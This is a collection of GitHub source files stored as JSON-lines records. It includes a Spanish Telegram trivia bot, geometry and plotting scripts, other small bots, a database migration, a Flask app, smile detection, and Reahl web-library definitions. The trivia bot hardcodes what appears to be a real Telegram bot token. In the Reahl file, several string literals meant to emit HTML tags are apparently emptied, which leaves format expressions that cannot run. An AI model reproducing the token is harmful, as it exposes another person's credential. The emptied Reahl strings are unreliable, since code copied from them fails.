cierro el fichero.\n\t\tficheroRanking.close()\n\t\t#se le comunica al usuario que la partida ha llegado a su fin.\n\t\tupdate.message.reply_text(\"GAME OVER\")\n\t\t#se indica por el terminal, asi como su nivel alcanzado.\n\t\tprint(\"El usuario \" + str(usuario) + \" ha finalizado la partida con nivel \" + str(nivel) + \".\")\n\t\t#le digo el nivel alcanzado al usuario.\n\t\tupdate.message.reply_text(\"Has finalizado la partida con nivel \" + str(nivel) + \".\")\n\t\t#y le muestro el ranking. \n\t\tupdate.message.reply_text(\"RANKING: \" + str(ranking))\n\t\t#y por ultimo se le da la opción de volver a jugar si lo desea.\n\t\tupdate.message.reply_text(\"Si deseas volver a intentarlo escribe /jugar \")\n\t\t#finalizo la conversación.\n\t\treturn ConversationHandler.END\n\t\t\n\n#funcion que comparara si hay que hacer cambios en el ranking.\ndef comparaRanking(nivel):\n\t#si el nivel del usuario actual es menor que el nivel del tercer clasificado del ranking:\n\tif nivel < ranking[\"3º\"][1]:\n\t\t#no pasa nada.\n\t\tpass\n\t#si el nivel del usuario actual es mayor que el nivel del tercer clasificado del ranking:\n\telif nivel > ranking[\"3º\"][1]:\n\t\t#pero el nivel del usuario actual es menor que el nivel del segundo clasificad.o\n\t\tif nivel < ranking[\"2º\"][1]:\n\t\t\t#asignamos la tercera posición al usuario actual. \n\t\t\tranking[\"3º\"] = [usuario, nivel]\n\t\t#y si no, si el nivel del usuario actual es mayor que el nivel del segunda clasificado del ranking:\n\t\telif nivel > ranking[\"2º\"][1]:\n\t\t\t#pero es menor que el nivel del primer clasificado:\n\t\t\tif nivel < ranking[\"1º\"][1]:\n\t\t\t\t#bajamos una posicion al segundo clasificado.\n\t\t\t\tranking [\"3º\"] = ranking [\"2º\"]\n\t\t\t\t#y ponemos en el segundo lugar al usuario actual.\n\t\t\t\tranking[\"2º\"] = [usuario, nivel]\n\t\t\t#y si no,si el nivel del usuario actual es mayor que el del segundo y no es menor que el del primero:\n\t\t\telse:\n\t\t\t\t#bajamos una posicion al segundo clasificado\n\t\t\t\tranking [\"3º\"] = ranking [\"2º\"]\n\t\t\t\t#bajamos una posicion al primer clasificado\n\t\t\t\tranking [\"2º\"] = ranking [\"1º\"]\n\t\t\t\t#ponemos primero al uusario actual\n\t\t\t\tranking[\"1º\"] = [usuario, nivel]\n\t\telse:\n\t\t\t#si el nivel del usuario actual es igual al nivel del segundo clasificado\n\t\t\t#asignamos el puesto al uusario actual\n\t\t\tranking[\"2º\"] = [usuario, nivel]\n\t\t\t#y bajamos una posicion al segundo clasificado\n\t\t\tranking [\"3º\"] = ranking [\"2º\"]\n\telse:\n\t\t#si el nivel del usuario actual es igual al nivel del tercer clasificado\n\t\t#asignamos el puesto al uusario actual\n\t\tranking[\"3º\"] = [usuario, nivel]\n\n\n\n#Función que permite al usuario abandonar la partida en cualquier momento\ndef cancel(update: Update, context: CallbackContext) -> int:\n\tupdate.message.reply_text(\"Gracias por jugar \" + update.effective_user.name)\n\tupdate.message.reply_text(\"Si deseas volver a jugar en otro momento, escribe /jugar\")\n\tprint(update.effective_user.name + \" deja de jugar.\")\n\treturn ConversationHandler.END\n#Función que se aplica cuando el usuario introduce un texto no reconocido por el programa\ndef noComprendo(update: Update, context: CallbackContext):\n\tupdate.message.reply_text(\"No sé qué me quieres decir.\")\n# Programa principal del bot\ndef main():\n\tprint(\"Iniciamos el bot Trivial\")\n\tupdater = Updater(\"1669640364:AAHedOZnSSEy_d0adkDVkf9rDuMZgA739Eo\", use_context=True)\n\n\tdispatcher = updater.dispatcher\n\n\t# Configuración de los comandos\n\tdispatcher.add_handler(CommandHandler(\"start\", start))\n\t#conversación \"Trivial\"\n\tjugandoAlTrivial = ConversationHandler(\n\t\tentry_points=[CommandHandler(\"Jugar\", Jugar)],\n\t\tstates = {\n\t\t\t0 : [MessageHandler(Filters.text & ~Filters.command, trivial)],\n\t\t\t1 : [MessageHandler(Filters.text & ~Filters.command, ComprobacionRespuestas)]\n\t\t\t},\n\t\tfallbacks=[CommandHandler('cancel', cancel)],)\n\n\tdispatcher.add_handler(jugandoAlTrivial)\n\tdispatcher.add_handler(MessageHandler(Filters.text & ~Filters.command, noComprendo))\n\n\t# Comienza a escuchar\n\tupdater.start_polling()\n\tupdater.idle()\n\n\n# Programa principal que ejecuta el bot\nif __name__ == '__main__':\n\tmain()\n ","repo_name":"SamuelFernandezPerez/Trivial_Bot_telegram-PYTHON","sub_path":"proyecto.py","file_name":"proyecto.py","file_ext":"py","file_size_in_byte":24529,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"72182543877","text":"\nimport math\n\n\n# -*- coding: utf8 -*-\n\ndef normalize(v):\n norm = math.sqrt(v[0] ** 2 + v[1] ** 2)\n return (v[0] / norm, v[1] / norm)\n\ndef dot(a, b):\n return a[0] * b[0] + a[1] * b[1];\n\ndef edge_direction(p0, p1):\n return (p1[0] - p0[0], p1[1] - p0[1]);\n\ndef orthogonal(v):\n return (v[1], -v[0])\n\ndef vertices_to_edges(vertices):\n return [edge_direction(vertices[i], vertices[(i + 1) % len(vertices)]) \\\n for i in range(len(vertices))]\n\ndef project(vertices, axis):\n dots = [dot(vertex, axis) for vertex in vertices]\n return [min(dots), max(dots)]\n\ndef contains(n, range_):\n a = range_[0]\n b = range_[1]\n if b < a:\n a = range_[1]\n b = range_[0]\n return (n >= a) and (n <= b);\n\ndef overlap(a, b):\n if contains(a[0], b):\n return True;\n if contains(a[1], b):\n return True;\n if contains(b[0], a):\n return True;\n if contains(b[1], a):\n return True;\n return False;\n\ndef separating_axis_theorem(vertices_a, vertices_b):\n edges_a = vertices_to_edges(vertices_a);\n edges_b = vertices_to_edges(vertices_b);\n\n edges = edges_a + edges_b\n\n axes = [normalize(orthogonal(edge)) for edge in edges]\n\n for i in range(len(axes)):\n projection_a = project(vertices_a, axes[i])\n projection_b = project(vertices_b, axes[i])\n overlapping = overlap(projection_a, projection_b)\n if not overlapping:\n return False;\n return True\n\ndef get_vertice_rect(center, box_size, heading_angle):\n \n center_x = center[0]\n center_y = center[1]\n yaw = heading_angle\n W = box_size[1]\n L = box_size[0] # z rotation is difference i think (90 deg)\n vertex_3 = (center_x + (L/2*math.cos(yaw) - W/2*math.sin(yaw)), center_y + (L/2*math.sin(yaw) + W/2*math.cos(yaw)))\n vertex_4 = (center_x + (-L/2*math.cos(yaw) - W/2*math.sin(yaw)), center_y + (-L/2*math.sin(yaw) + W/2*math.cos(yaw)))\n vertex_1 = (center_x + (-L/2*math.cos(yaw) + W/2*math.sin(yaw)), center_y + (-L/2*math.sin(yaw) - W/2*math.cos(yaw)))\n vertex_2 = (center_x + (L/2*math.cos(yaw) + W/2*math.sin(yaw)), center_y + (L/2*math.sin(yaw) - W/2*math.cos(yaw)))\n vertices = [vertex_1, vertex_2, vertex_3, vertex_4]\n return vertices\n \n\n\ndef main():\n a_vertices = [(0, 0), (70, 70), (70, 0), (0, 70)]\n b_vertices = [(70, 70), (150, 70), (150, 150),(70, 150)]\n c_vertices = [(30, 30), (150, 70), (70, 150)]\n\n print (separating_axis_theorem(a_vertices, b_vertices))\n print (separating_axis_theorem(a_vertices, c_vertices))\n print (separating_axis_theorem(b_vertices, c_vertices))\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Chanuk-Yang/Deep_Continuous_Fusion_for_Multi-Sensor_3D_Object_Detection","sub_path":"separation_axis_theorem.py","file_name":"separation_axis_theorem.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"62"} +{"seq_id":"23780976131","text":"import os\n\nfrom telegram import InlineKeyboardButton, InlineKeyboardMarkup\nfrom telegram.ext import Updater, CommandHandler, ConversationHandler, CallbackQueryHandler, \\\n MessageHandler, Filters\n\n# constants\nTELEGRAM_TOKEN = os.getenv('TELEGRAM_TOKEN')\nTO_UPPER, TO_LOWER, BACK = range(3)\n\n\ndef start(update, context):\n upper_button = InlineKeyboardButton(\n text='mayúsculas'.upper(),\n callback_data='to_upper'\n )\n lower_button = InlineKeyboardButton(\n text='minúsculas'.lower(),\n callback_data='to_lower'\n )\n update.message.reply_text(\n text=f'Holaaaa {update.message.chat.first_name}',\n reply_markup=InlineKeyboardMarkup([\n [upper_button, lower_button]\n ])\n )\n\n\n# callbacks\ndef back_callback(update, context):\n query = update.callback_query\n upper_button = InlineKeyboardButton(\n text='mayúsculas'.upper(),\n callback_data='to_upper'\n )\n lower_button = InlineKeyboardButton(\n text='minúsculas'.lower(),\n callback_data='to_lower'\n )\n query.edit_message_text(\n text=f'Holaaaa {query.message.chat.first_name}',\n reply_markup=InlineKeyboardMarkup([\n [upper_button, lower_button]\n ])\n )\n return ConversationHandler.END\n\n\ndef to_upper_callback(update, context):\n query = update.callback_query\n back_button = InlineKeyboardButton(\n text='Atrás',\n callback_data='back'\n )\n query.edit_message_text(\n text='Mayúsculas: introduzca un texto',\n reply_markup=InlineKeyboardMarkup([\n [back_button]\n ])\n )\n return TO_UPPER\n\n\ndef to_lower_callback(update, context):\n query = update.callback_query\n back_button = InlineKeyboardButton(\n text='Atrás',\n callback_data='back'\n )\n query.edit_message_text(\n text='Minúsculas: introduzca un texto',\n reply_markup=InlineKeyboardMarkup([\n [back_button]\n ])\n )\n return TO_LOWER\n\n\n# conversations\ndef to_upper_conversation(update, context):\n update.message.reply_text(f'En mayúsculas: {update.message.text.upper()}')\n return ConversationHandler.END\n\n\ndef to_lower_conversation(update, context):\n update.message.reply_text(f'En minúsculas: {update.message.text.lower()}')\n return ConversationHandler.END\n\n\nif __name__ == '__main__':\n updater = Updater(token=TELEGRAM_TOKEN)\n dp = updater.dispatcher\n\n dp.add_handler(CommandHandler('start', start))\n dp.add_handler(ConversationHandler(\n entry_points=[\n CallbackQueryHandler(pattern='to_upper', callback=to_upper_callback)\n ],\n states={\n TO_UPPER: [MessageHandler(Filters.text, to_upper_conversation)]\n },\n fallbacks=[\n CallbackQueryHandler(pattern='back', callback=back_callback)\n ],\n ))\n dp.add_handler(ConversationHandler(\n entry_points=[\n CallbackQueryHandler(pattern='to_lower', callback=to_lower_callback)\n ],\n states={\n TO_LOWER: [MessageHandler(Filters.text, to_lower_conversation)]\n },\n fallbacks=[\n CallbackQueryHandler(pattern='back', callback=back_callback)\n ],\n ))\n\n updater.start_polling()\n print('Bot is polling')\n updater.idle()\n","repo_name":"ragnarok22/textTransformerBot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20583141789","text":"import matplotlib.pyplot as plt\nimport matplotlib\nfont = {'size' : 24, 'weight': 'bold'}\nmatplotlib.rc('font', **font)\nimport numpy as np\n\nimport json\n\noutput_filename = 'data/result_attention_dynamics.json'\n\ndef plot_strategy():\n\tdata = json.load(open(output_filename))\n\treward_vec = data['reward_vec']\n\tprofit_vec = data['profit_vec']\n\tprice_vec = data['price_vec']\n\tattention_scale_vec = data['attention_scale_vec']\n\n\titeration_vec = np.arange(len(reward_vec))\n\n\tfig = plt.figure()\n\tax = fig.add_axes([0.22, 0.2, 0.75, 0.7])\n\n\tax.plot(iteration_vec, reward_vec, color='black', label='opt. reward $r^*$')\n\tax.plot(iteration_vec, price_vec, color='black', label='opt. price $p^*$')\n\tplt.xlabel('iteration number')\n\tplt.legend()\n\t\n\tplt.savefig('images/attention_strategy_dynamics.eps', dpi=1200)\n\tplt.show()\n\ndef plot_profit():\n\tdata = json.load(open(output_filename))\n\treward_vec = data['reward_vec']\n\tprofit_vec = data['profit_vec']\n\tprice_vec = data['price_vec']\n\tattention_scale_vec = data['attention_scale_vec']\n\n\titeration_vec = np.arange(len(reward_vec))\n\n\n\tplt.axes([0.15, 0.2, 0.8, 0.7])\n\tplt.ticklabel_format(axis='y', style='sci', scilimits=(-2, 2))\n\tplt.plot(iteration_vec[1:], profit_vec[1:], color='black', linewidth=3, label='10 firms dynamics')\n\tplt.plot([0, 50], [16275.6249153, 16275.6249153], '--', color='black', linewidth=2, label='single firm optimal')\n\n\tplt.legend(loc='upper right', fontsize=24, frameon=False)\n\n\tplt.xlabel('iteration', weight='bold')\n\tplt.ylabel('profit', weight='bold')\n\tplt.ylim(0, 40000)\n\n\tplt.savefig('images/attention_profit_dynamics.eps', dpi=1200)\n\tplt.show()\n\n\t# plt.plot(iteration_vec, attention_scale_vec, color='black')\n\t# plt.xlabel('iteration')\n\t# plt.ylabel('prob. that a recommendation is received')\n\t# plt.savefig('images/attention_scale_dynamics.eps', dpi=5000)\n\t# plt.show()\n\nif __name__ == '__main__':\n\t#plot_strategy()\n\tplot_profit()","repo_name":"lonyle/social_recommendation","sub_path":"plot/plot5_attention_dynamics.py","file_name":"plot5_attention_dynamics.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"7981002978","text":"def divisible(x):\r\n if x % 3 == 0 and x % 5 == 0:\r\n return \"BINGO!\"\r\n elif x % 5 == 0:\r\n return \"Divisible by 5, but not 3\"\r\n elif x % 3 == 0:\r\n return \"Divisible by 3, but not 5\"\r\n else:\r\n return \"Not Quite\"\r\n\r\nprint(divisible(int(input('Pick a number divisible by 3 and 5: '))))","repo_name":"TommyDooley/DooleyCoded","sub_path":"divisible.py","file_name":"divisible.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"40600467432","text":"import itertools\nfrom collections import OrderedDict\n\nfrom reahl.component.context import ExecutionContext\nfrom reahl.component.exceptions import ProgrammerError\nfrom reahl.web.fw import PackagedFile, ConcatenatedFile\n\n\nclass LibraryIndex:\n \"\"\"An ordered collection of :class:`Library` instances.\n\n A LibraryIndex instance is available in the configuration as\n `web.config.frontend_libraries`. All the :class:`Library`\n instances contained in `web.config.frontend_libraries` are\n included on any :class:`~reahl.web.ui.HTML5Page`.\n\n Libraries in a LibraryIndex are included on a page in the order\n that they appear in the LibraryIndex.\n\n :param libraries: :class:`Library` instances (in order) to initialise this LibraryIndex with.\n\n \"\"\"\n def __init__(self, *libraries):\n self.libraries_by_name = OrderedDict()\n for library in libraries:\n self.add(library)\n\n def clear(self):\n \"\"\"Removes all Libraries from the list.\"\"\"\n self.libraries_by_name.clear()\n\n def add(self, library):\n \"\"\"Adds a Library to the end of the list.\"\"\"\n self.libraries_by_name[library.name] = library\n return library\n\n def get(self, library_class):\n matching_libraries = [i for i in self.libraries_by_name.values() if isinstance(i, library_class)]\n if not matching_libraries:\n raise ProgrammerError('No library \"%s\" found in the config.web.frontend_libraries' % library_class)\n elif len(matching_libraries) > 1:\n raise ProgrammerError('More than \"%s\" found in the config.web.frontend_libraries' % library_class)\n return matching_libraries[0]\n\n def __contains__(self, name):\n \"\"\"An implementation of the `in` operator, so that one can ask whether a library with given name is in this index.\n\n :param name: The unique name of the Library to check for.\n \"\"\"\n return name in self.libraries_by_name\n\n def packaged_files(self):\n return [i for i in itertools.chain(*[library.packaged_files() for library in self])]\n\n def __iter__(self):\n return iter(self.libraries_by_name.values())\n\n def prepend(self, library):\n new_libraries = [library] + list(self.libraries_by_name.values())\n self.libraries_by_name = OrderedDict()\n for library in new_libraries:\n self.add(library)\n\n def __str__(self):\n return '%s(%s)' % (self.__class__.__name__, ','.join(self.libraries_by_name.keys()))\n\nclass Library:\n \"\"\"A frontend-library: a collection of CSS and JavaScript code that can be used with Reahl.\n\n To create your own Library, subclass from this class and set its\n attributes to indicate which files to include as part of it and\n where to find them.\n\n To use a library, add it to the `web.config.frontend_libraries`\n config setting. The CSS and JavaScript files of all such\n configured libraries are automatically included in any\n :class:`~reahl.web.ui.HTML5Page`.\n\n :param name: A unique name for this Library.\n \"\"\"\n active = True\n @classmethod\n def get_instance(cls):\n return ExecutionContext.get_context().config.web.frontend_libraries.get(cls)\n\n def __init__(self, name):\n self.name = name #: The unique name of this Library\n self.egg_name = 'reahl-web' #: The component (egg) that contains the files of this library\n self.shipped_in_package = '' #: The package that contains the files of this library\n self.files = [] #: The JavaScript and CSS files that form part of this library (relative to the `shipped_in_package`)\n\n def packaged_files(self):\n return [PackagedFile(self.egg_name, self.shipped_in_package, file_name)\n for file_name in self.files]\n\n def packaged_files222xxxxxFIXMEIAMDEADButPossibleAlternative(self):\n exposed_files = []\n js_files_to_include = [PackagedFile(self.egg_name, self.shipped_in_package, file_name)\n for file_name in self.files\n if file_name.endswith('.js')]\n if js_files_to_include:\n exposed_files.append(ConcatenatedFile('%s.js' % self.name, js_files_to_include))\n\n css_files_to_include = [PackagedFile(self.egg_name, self.shipped_in_package, file_name)\n for file_name in self.files\n if file_name.endswith('.css')]\n if css_files_to_include:\n exposed_files.append(ConcatenatedFile('%s.css' % self.name, css_files_to_include))\n return exposed_files\n\n def files_of_type(self, extension):\n return [f for f in self.files if f.endswith(extension)]\n\n def header_only_material(self, rendered_page):\n result = ''\n if self.active:\n for file_name in self.files_of_type('.css'):\n result += '\\n' % file_name\n return result\n\n def footer_only_material(self, rendered_page):\n result = ''\n if self.active:\n for file_name in self.files_of_type('.js'):\n result += '\\n' % file_name\n return result\n\n def inline_material(self):\n result = ''\n for file_name in self.files_of_type('.js'):\n result += '\\n' % file_name\n return result\n\n \nclass JQuery(Library):\n \"\"\"Version 3.7.1 of `JQuery `_.\n\n This Library also includes a number of plugins we use internally:\n\n =================== ==================================\n Plugin Version\n =================== ==================================\n jquery.validate 1.19.5 (a heavily modified version) (https://github.com/jquery-validation/jquery-validation/releases/tag/1.19.5)\n jquery.ba-bbq 1.3pre\n jquery.blockUI 2.70.0 (https://github.com/malsup/blockui/releases)\n jquery.form 4.3.0 (https://github.com/jquery-form/form/releases)\n =================== ==================================\n \"\"\"\n def __init__(self):\n super().__init__('jquery')\n self.files = ['jquery-3.7.1/jquery-3.7.1.min.js',\n 'jquery-3.7.1/jquery-3.7.1.min.map']\n self.shipped_in_package = 'reahl.web.static'\n for i in ['jquery.validate-1.19.5.modified.js',\n 'jquery.ba-bbq-1.3pre.js',\n 'jquery.blockUI-2.70.0.js',\n 'jquery.form-4.3.0.js']:\n self.add_shipped_plugin('jquery/%s' % i)\n\n def add_shipped_plugin(self, file_name):\n self.files.append(file_name)\n return file_name\n\n def document_ready_material(self, rendered_page):\n result = '\\n\\n'\n return result\n\n def footer_only_material(self, rendered_page):\n result = super().footer_only_material(rendered_page)\n #from http://ryanpricemedia.com/2008/03/19/jquery-broken-in-internet-explorer-put-your-documentready-at-the-bottom/\n result += self.document_ready_material(rendered_page)\n return result\n\n\nclass JQueryUI(Library):\n \"\"\"A heavily customised subset of version 1.13.2 of `JQuery UI `_.\n \n Only contains the `Widget Factory `_ and :tabbable, :focusable Selector.\n \"\"\"\n def __init__(self):\n super().__init__('jqueryui')\n self.shipped_in_package = 'reahl.web.static'\n self.files = ['jquery-ui-1.13.2.custom/jquery-ui.min.js']\n\n\nclass HTML5Shiv(Library):\n \"\"\"Version 3.7.3 of `html5shiv `_.\n \n \"\"\"\n def __init__(self):\n super().__init__('html5shiv')\n self.shipped_in_package = 'reahl.web.static'\n self.files = ['html5shiv-printshiv-3.7.3.js']\n\n def footer_only_material(self, rendered_page):\n # From: http://remysharp.com/2009/01/07/html5-enabling-script/ \n result = '\\n'\n return result\n\n\nclass IE9(Library):\n \"\"\"Version 2.1(beta4) of `IE9.js `_.\n \"\"\"\n def __init__(self):\n super().__init__('IE9')\n self.shipped_in_package = 'reahl.web.static'\n self.files = ['IE9.js']\n\n def footer_only_material(self, rendered_page):\n # From: http://code.google.com/p/ie7-js/ \n # Not sure if this does not perhaps interfere with Normalize reset stuff? \n result = '\\n'\n return result\n\n\nclass Reahl(Library):\n \"\"\"JavaScript and CSS that is part of Reahl itself.\n \"\"\"\n def __init__(self):\n super().__init__('reahl')\n self.shipped_in_package = 'reahl.web.static'\n self.files = ['reahl.csrf.js',\n 'reahl.hashchange.js',\n 'reahl.ajaxlink.js',\n 'reahl.primitiveinput.js',\n 'reahl.textinput.js',\n 'reahl.validate.js',\n 'reahl.form.js',\n 'reahl.plotlychart.js',\n 'reahl.css',\n 'reahl.runningonbadge.css',\n 'runningon.png'\n ]\n\n\nclass Holder(Library):\n \"\"\"Version 2.9.9 of `Holder `_.\n \"\"\"\n def __init__(self):\n super().__init__('holder')\n self.shipped_in_package = 'reahl.web.holder'\n self.files = ['holder-2.9.9.js']\n\n\nclass Bootstrap4(Library):\n \"\"\"Version 4.6.2 of `Bootstrap `_.\n \"\"\"\n def __init__(self):\n super().__init__('bootstrap4')\n self.shipped_in_package = 'reahl.web.static'\n self.files = [\n 'bootstrap-4.6.2/css/bootstrap.css',\n 'bootstrap-4.6.2/css/reahl-patch.css',\n 'bootstrap-4.6.2/css/bootstrap.css.map',\n 'bootstrap-4.6.2/js/bootstrap.min.js',\n 'bootstrap-4.6.2/js/bootstrap.min.js.map'\n ]\n\n\n def header_only_material(self, rendered_page):\n return ''\\\n '' +\\\n super().header_only_material(rendered_page) \n\n\nclass ReahlBootstrap4Additions(Library):\n \"\"\"Reahl specific JavaScript and CSS for use with :class:`Bootstrap4`.\n \"\"\"\n def __init__(self):\n super().__init__('bootstrap4.reahladditions')\n self.shipped_in_package = 'reahl.web.bootstrap'\n self.files = [\n 'reahl.bootstrapform.js',\n 'reahl.pagination.js',\n 'reahl.files.js',\n 'reahl.files.css',\n 'reahl.bootstrappopupa.js',\n 'reahl.carousel.css',\n 'reahl.bootstrapcueinput.js',\n 'reahl.bootstrapfileuploadli.js',\n 'reahl.bootstrapfileuploadpanel.js',\n 'reahl.datatable.css'\n ]\n\n\nclass Popper(Library):\n \"\"\"Version 1.16.1 (umd) of `Popper `_.\n \"\"\"\n def __init__(self):\n super().__init__('popper')\n self.shipped_in_package = 'reahl.web.static'\n self.files = [\n 'popper-1.16.1/popper.min.js' #make sure it is the umd edition\n ]\n\n\nclass Underscore(Library):\n \"\"\"Version 1.13.6 of `Underscore.js `_.\n \"\"\"\n def __init__(self):\n super().__init__('underscore')\n self.shipped_in_package = 'reahl.web.static'\n self.files = [\n 'underscore-umd-min.1.13.6.js'\n ]\n def footer_only_material(self, rendered_page):\n return super().footer_only_material(rendered_page) + ''\n\n\nclass JsCookie(Library):\n \"\"\"Version 3.0.5 of `js-cookie `_.\n \"\"\"\n def __init__(self):\n super().__init__('js-cookie')\n self.shipped_in_package = 'reahl.web.static'\n self.files = [\n 'js-cookie-3.0.5/js.cookie.min.js' #this is the UMD version\n ]\n\n\nclass PlotlyJS(Library):\n \"\"\"Version 2.26.0 of `plotly.js `_.\n \"\"\"\n javascript_filename = 'plotly-2.26.0.min.js'\n def __init__(self):\n self.active = False\n super().__init__('plotly.js')\n self.shipped_in_package = 'reahl.web.static'\n self.files = [\n self.javascript_filename\n ]\n","repo_name":"reahl/reahl","sub_path":"reahl-web/reahl/web/libraries.py","file_name":"libraries.py","file_ext":"py","file_size_in_byte":13155,"program_lang":"python","lang":"en","doc_type":"code","stars":126,"dataset":"github-code","pt":"62"} +{"seq_id":"38094864413","text":"\"\"\"Added UserModel and MeterType models\n\nRevision ID: 3688d0a551cc\nRevises: \nCreate Date: 2021-10-19 14:16:32.244490\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '3688d0a551cc'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('meter_type',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=300), nullable=False),\n sa.Column('coefficient', sa.Float(), nullable=True),\n sa.Column('unit_of_measure', sa.String(), nullable=True),\n sa.Column('init_indicator_multiplier', sa.Float(), nullable=True),\n sa.Column('description', sa.String(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('user_model',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('first_name', sa.String(length=250), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('user_meter_type_association',\n sa.Column('user_id', sa.Integer(), nullable=False),\n sa.Column('meter_type_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['meter_type_id'], ['meter_type.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['user_model.id'], ),\n sa.PrimaryKeyConstraint('user_id', 'meter_type_id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('user_meter_type_association')\n op.drop_table('user_model')\n op.drop_table('meter_type')\n # ### end Alembic commands ###\n","repo_name":"SherkhanSyzdykov/meter_type_project","sub_path":"alembic/versions/3688d0a551cc_added_usermodel_and_metertype_models.py","file_name":"3688d0a551cc_added_usermodel_and_metertype_models.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74128667716","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Oct 22 13:10:41 2021\r\n\r\n@author: btmcl\r\n\"\"\"\r\nimport time # import the time library for the sleep function\r\nimport brickpi3 # import the BrickPi3 drivers\r\n\r\nBP = brickpi3.BrickPi3()\r\n\r\ntry:\r\n while True: \r\n BP.set_motor_power(BP.PORT_1, -10)\r\n time.sleep(1)\r\n BP.set_motor_power(BP.PORT_1, 10)\r\n time.sleep(1)\r\n \r\nexcept KeyboardInterrupt:\r\n BP.reset_all()","repo_name":"bmac2003/ENGR161_Project3_Team_54","sub_path":"Load Code v1.py","file_name":"Load Code v1.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"13107648016","text":"import numpy as np\nfrom flask import Flask, request, jsonify, render_template\nimport pickle\n\nfrom happytransformer import TTSettings\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n@app.route('/predict',methods=['POST'])\ndef predict():\n\n int_features = str(request.form['Input_text'])\n beam_settings = TTSettings(num_beams=5, min_length=1, max_length=20)\n\n model = pickle.load(open('model.pkl', 'rb'))\n output = model.generate_text(int_features, args=beam_settings)\n\n return render_template('index.html', prediction_text='{}'.format(output.text))\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', debug=True)\n","repo_name":"SivaPhoenix/AI-writing--assistant","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"70348254599","text":"import cv2\n\nface_cascade = cv2.CascadeClassifier('data\\\\haarcascade_frontalface_alt2.xml') \n#eye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml') \nsmile_cascade = cv2.CascadeClassifier('data\\\\haarcascade_smile.xml') \n\n\n\ndef detect(gray, frame): \n\tfaces = face_cascade.detectMultiScale(gray, 1.3, 5) \n\tfor (x, y, w, h) in faces: \n\t\tcv2.rectangle(frame, (x, y), ((x + w), (y + h)), (255, 0, 0), 2) \n\t\troi_gray = gray[y:y + h, x:x + w] \n\t\troi_color = frame[y:y + h, x:x + w] \n\t\tsmiles = smile_cascade.detectMultiScale(roi_gray, 1.7,18) #Set your parameter according to your surroundings \n\n\t\tfor (sx, sy, sw, sh) in smiles: \n\t\t\tcv2.rectangle(roi_color, (sx, sy), ((sx + sw), (sy + sh)), (0, 0, 255), 2) \n\treturn frame \n\n\nvideo_capture = cv2.VideoCapture(0,cv2.CAP_DSHOW)\nif not video_capture.isOpened():\n print(\"Cannot open camera\")\n exit() \nwhile True: \n# Captures video_capture frame by frame \n\t_, frame = video_capture.read() \n\n\t# Convert image to grayscale\t\t\t\t\t \n\tgray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) \n\t\n\t# Get the canvas\t \n\tcanvas = detect(gray, frame) \n\n\tcv2.imshow('Video', canvas) \n\n\t# Press q in the keyboard to quit(exit)\n\tif cv2.waitKey(1) & 0xff == ord('q'):\t\t\t \n\t\tbreak\n\n# Release the capture once all the processing is done. \nvideo_capture.release()\t\t\t\t\t\t\t\t \ncv2.destroyAllWindows() \n","repo_name":"AswinSampath1401/Smile-Detection","sub_path":"realtime_smile_detect.py","file_name":"realtime_smile_detect.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"20454546333","text":"import logging\n\nfrom .._setting import Setting\nfrom .._validation_error import ValidationError\n\n\nLOGGER = logging.getLogger(__name__)\n\nclass Range(Setting):\n \"\"\"A setting representing a range between two values\"\"\"\n\n valid_format_text = '\"%s\" is formatted incorrectly'\n\n def __init__(self, text, value, minval=None, maxval=None, *args, **kwargs):\n \"\"\"Initialize a range\n\n text - helpful text to be displayed to the user\n\n value - default value as a string, should be in the form ,\n\n minval - the minimum value for the range (or None if none)\n\n maxval - the maximum value of the range (or None if none)\n \"\"\"\n super(Range, self).__init__(text, value, *args, **kwargs)\n self._minval = minval\n self._maxval = maxval\n self.__default_min = self.min\n self.__default_max = self.max\n\n def str_to_value(self, value_str):\n \"\"\"Convert a min/max value as a string to the native type\"\"\"\n raise NotImplementedError(\"str_to_value must be implemented in derived class\")\n\n def value_to_str(self, value):\n \"\"\"Convert a string to a min/max value in the native type\"\"\"\n raise NotImplementedError(\"value_to_str must be implemented in derived class\")\n\n def get_value(self):\n \"\"\"Return the value of this range as a min/max tuple\"\"\"\n return self.min, self.max\n\n def set_value(self, value):\n \"\"\"Set the value of this range using either a string or a two-tuple\"\"\"\n if isinstance(value, 